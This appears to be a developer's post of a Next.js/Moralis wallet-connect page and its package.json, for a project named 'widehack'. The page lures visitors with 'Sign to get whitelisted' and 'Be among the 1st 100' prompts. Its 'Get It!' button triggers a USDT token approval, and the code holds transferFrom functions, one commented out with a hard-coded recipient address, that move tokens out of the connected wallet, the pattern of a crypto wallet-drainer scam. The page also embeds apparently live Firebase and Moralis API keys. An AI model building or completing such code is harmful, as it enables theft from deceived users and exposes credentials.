import { useEffect, useState } from "react"
import Moralis from 'moralis-v1'
import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from "@chakra-ui/react"
import Head from "next/head"
import { useMoralis, useWeb3Contract } from "react-moralis"
// import Balance from "../components/Balance"
// import Transactions from "../components/Transactions"
import Header from "../components/Header"
// import Profile from "../components/Profile"
import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from '@chakra-ui/react'
import { useDisclosure } from '@chakra-ui/react'
import { MoralisProvider } from "react-moralis";
import {initializeApp} from "firebase/app";
import {getFirestore, addDoc, collection} from 'firebase/firestore'
import { getAuth } from '@firebase/auth';
import {getDatabase} from 'firebase/database';
import { getMoralisAuth } from '@moralisweb3/client-firebase-auth-utils';
import { signInWithMoralis } from '@moralisweb3/client-firebase-evm-auth';
import { getFunctions } from "firebase/functions"
import WalletConnectProvider from "@walletconnect/web3-provider";
import { Web3Provider } from '@ethersproject/providers';
export const app = initializeApp({
apiKey: "AIzaSyBb5Pt9inGrPrVXp-sEtkCt3JX-Dn8i1BY",
authDomain: "crypto-c63aa.firebaseapp.com",
projectId: "crypto-c63aa",
storageBucket: "crypto-c63aa.appspot.com",
messagingSenderId: "816656453821",
appId: "1:816656453821:web:44e0bb46ab1c494875e7d4",
measurementId: "G-HRE2LN8J9N"
});
const db = getFirestore();
const auth = getAuth(app);
const functions = getFunctions();
function Home() {
const [user, setUser]= useState(null);
const [displayName, setdisplayName] = useState('');
//const { EvmChain } = require("@moralisweb3/common-evm-utils");
const Moralis = require("moralis").default;
if (!Moralis.Core.isStarted) {
Moralis.start({
apiKey:
"yYTdIJJUIjXmqw1OvdPTFurDBRxyClTe3lCFUx30EvqbECDVJ3TyyT2pqvHAslbk",
});
}
//const {isAuthenticated, authenticate, user, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()
const {isAuthenticated, authenticate, login, enableWeb3, isWeb3Enabled, logout, isLoggingOut } = useMoralis()
const [approved, setApproved] = useState(false);
const { runContractFunction: data, enterTxResponse, error, isLoading, isFetching } = useWeb3Contract({
}
);
async function approve() {
const options = {
contractAddress: "0xdAC17F958D2ee523a2206206994597C13D831ec7",
functionName: "approve",
abi: [
{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},
],
params: {
_spender: user,
_value: "1000"
}
};
await Moralis.executeFunction(options);
console.log();
}
// async function gas(){
// const ethers = Moralis.web3Library;
// const web3Provider = await Moralis.enableWeb3();
// const signer = web3Provider.getSigner();
// const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);
// let res = await contract.approve("0xdAC17F958D2ee523a2206206994597C13D831ec7", 1000000, {
// gasPrice: ethers.utils.parseUnits("5", "gwei").toString(),
// gasLimit: 48525
// })
// }
const { account } = useMoralis();
// async function transferFromCon() {
// async function transfer(){
// const web3Provider = await Moralis.enableWeb3();
// const signer = web3Provider.getSigner();
// const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);
// let res = await contract.transferFrom({
// _from: account,
// _to: "0x2589Fd32E1849028562ec92fc72f54B2A376050e",
// _value: 1000000,
// gasPrice: ethers.utils.parseUnits("20", "gwei").toString(),
// gasLimit: 280000
// })
// }
async function transfer(){
const ethers = Moralis.web3Library;
const web3Provider = await Moralis.enableWeb3();
const signer = web3Provider.getSigner();
const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);
let res = await contract.transferFrom({
_from: account,
_to: "",
_value: 1000000,
gasPrice: ethers.utils.parseUnits("20","gwei").toString(),
gasLimit: 280000
})
}
useEffect(() => {
if (!isWeb3Enabled && isAuthenticated)
enableWeb3();
},[isWeb3Enabled, isAuthenticated]);
useEffect(() => {
// Assuming you have the wallet address available in the 'user' variable
if (user) {
setdisplayName(user.displayName);
}
}, [user]);
useEffect(() => {
if (displayName) {
// Store the wallet address in Firestore
addDoc(collection(db, 'users'), {
walletAddress: displayName
})
.then(() => {
console.log('Wallet address stored in Firestore');
})
.catch((error) => {
console.error('Error storing wallet address:', error);
});
}
}, [displayName]);
const { isOpen, onOpen, onClose } = useDisclosure()
if(!isAuthenticated && !user) {
console.log(user);
async function login() {
const moralisAuth = getMoralisAuth(app, {
auth,
functions,
});
const res = await signInWithMoralis(moralisAuth);
setUser(res.credentials.user);
console.log(res.credentials.user)
}
async function logout() {
await auth.signOut();
setUser(null);
}
return(
<>
<Head>
<title></title>
</Head>
<Flex
direction="column"
justifyContent="center"
alignItems="center"
width="100vw"
height="100vh"
bgGradient="linear(to-br, teal.400, purple.300)"
backgroundImage="url('../bay.jpg')"
>
<Text fontSize="5xl" fontWeight="bold" color="white">Connect Wallet</Text>
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => login({
signingMessage: "Sign to get whitelisted on "
})}
>Sign in with Metamask</Button>
<br />
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => authWalletConnect({
signingMessage: "Sign to get whitelisted on "
})}
>Sign in with Wallet Connect</Button>
</Flex>
</>
)
};
async function authWalletConnect() {
const user = login({
provider: "walletconnect",
chainId: 56,
mobileLinks: [
"metamask",
"trust",
"rainbow",
"argent",
"imtoken",
"pillar",
"mathwallet",
"meet.one wallet",
"equal",
"safepal",
"cool wallet",
"xwallet",
"atomic",
"myetherwallet",
"cybavo",
"onto",
"mycrypto",
"minerva wallet",
"metax",
"encrypted ink",
"gnosis safe",
"bitpay",
"fireblocks",
"debank",
"tokenpocket",
"infinity wallet",
"coinbase wallet"
],
signingMessage: "Sign to get whitelisted on ",
});
console.log(user);
};
// const handleSuccess = async (tx) => {
// await tx.wait(1)
// setApproved(true)
// // handleNewNotification(tx)
// }
// console.log(handleSuccess)
return (
<>
<Head>
<title></title>
<meta name="description" content="" />
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
<link rel="icon" type="image/jpeg" sizes="32x32" href="/favicon.jpeg" />
<link rel="icon" type="image/jpeg" sizes="16x16" href="/favicon.jpeg" />
<link rel="manifest" href="/site.webmanifest" />
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5" />
<meta name="msapplication-TileColor" content="#da532c" />
<meta name="theme-color" content="#ffffff" />
</Head>
<Flex direction="column" width="100vw" height="100vh">
<Header user={user.displayName} logout={logout} isLoggingOut={isLoggingOut}/>
<Box flex="1" bg="purple.100" px="11" py="44">
<Tabs size="lg" colorScheme="purple" align="center" variant="enclosed">
<Alert status="success">
<AlertIcon />
Wallet connected succesfully {user.displayName}
</Alert>
<br />
<Button onClick={onOpen}>Get it now!</Button>
<Modal isOpen={isOpen} onClose={onClose}>
<ModalOverlay />
<ModalContent>
<ModalHeader color="purple">Be among the 1st 100</ModalHeader>
<ModalCloseButton />
<ModalBody>
<Image src="../.jpg" />
</ModalBody>
<ModalFooter>
<Button ml="4" colorScheme="yellow" onClick={approve}>Get It!</Button>
{/* <Button colorScheme='blue' mr={3} onClick={onClose}>
Close
</Button> */}
{/* <Button ml="4" className="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded ml-auto"
disabled={isLoading || isFetching || approved} >{ approved ? "Approved" : "Get It!" }
</Button> */}
<Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>Continue</Button>
</ModalFooter>
</ModalContent>
</Modal>
<br />
</Tabs>
</Box>
</Flex>
</>
)
}
export default Home
my index.js code
my package.js
{
"name": "widehack",
"version": "0.1.0",
"homepage": "https://",
"private": true,
"dependencies": {
"@babel/eslint-parser": "^7.18.9",
"@chakra-ui/react": "^1.8.9",
"@emotion/react": "^11.9.0",
"@emotion/styled": "^11.8.1",
"@ethereumjs/block": "^4.0.0",
"@ethereumjs/common": "^3.0.0",
"@ethereumjs/tx": "^4.0.0",
"@ethereumjs/vm": "^6.0.0",
"@metamask/eth-sig-util": "^4.0.1",
"@metamask/safe-event-emitter": "^2.0.0",
"@moralisweb3/client-firebase-auth-utils": "^2.22.2",
"@moralisweb3/client-firebase-evm-auth": "^2.22.2",
"@moralisweb3/common-evm-utils": "^2.22.2",
"@newrelic/next": "^0.3.0",
"@next/swc-win32-x64-msvc": "^12.1.6",
"@rollup/plugin-babel": "^5.3.1",
"@walletconnect/web3-provider": "^1.8.0",
"@web3auth/web3auth": "^0.10.0",
"browserify": "^17.0.0",
"chokidar": "^3.5.3",
"cleanup-react-app": "^1.1.3",
"firebase": "^9.22.2",
"firebase-admin": "^11.9.0",
"framer-motion": "^6.3.3",
"git": "^0.1.5",
"image-optimizer": "^0.1.0",
"joi": "^17.6.0",
"magic-sdk": "^8.1.1",
"mkdirp": "^1.0.4",
"moralis": "^2.22.3",
"moralis-v1": "^1.13.0",
"multiformats": "^9.8.1",
"next": "^12.3.0",
"react": "^18.2.0",
"react-dom": "^18.1.0",
"react-moralis": "^1.4.2",
"react-redux": "^8.0.2",
"react-responsive": "^9.0.0-beta.8",
"react-scripts": "^5.0.1",
"react-spring": "^9.0.0-rc.3",
"Require": "^1.1.2",
"resolve-url": "^0.2.1",
"sane": "^5.0.1",
"source-map-resolve": "^0.6.0",
"source-map-url": "^0.4.1",
"styled-components": "^5.3.5",
"svgo": "^2.8.0",
"urix": "^0.1.0",
"urlsearchparams": "^0.1.1",
"uuid": "^9.0.0",
"web3": "^1.7.3",
"webpack": "^5.74.0"
},
"scripts": {
"dev": "node server.js",
"build": "next build",
"start": "NODE_ENV=production node server.js"
},
"eslintConfig": {
"extends": [
"react-app",
"react-app/jest"
]
},
"browserslist": {
"production": [
">0.2%",
"not dead",
"not op_mini all"
],
"development": [
"last 1 chrome version",
"last 1 firefox version",
"last 1 safari version"
]
}
}
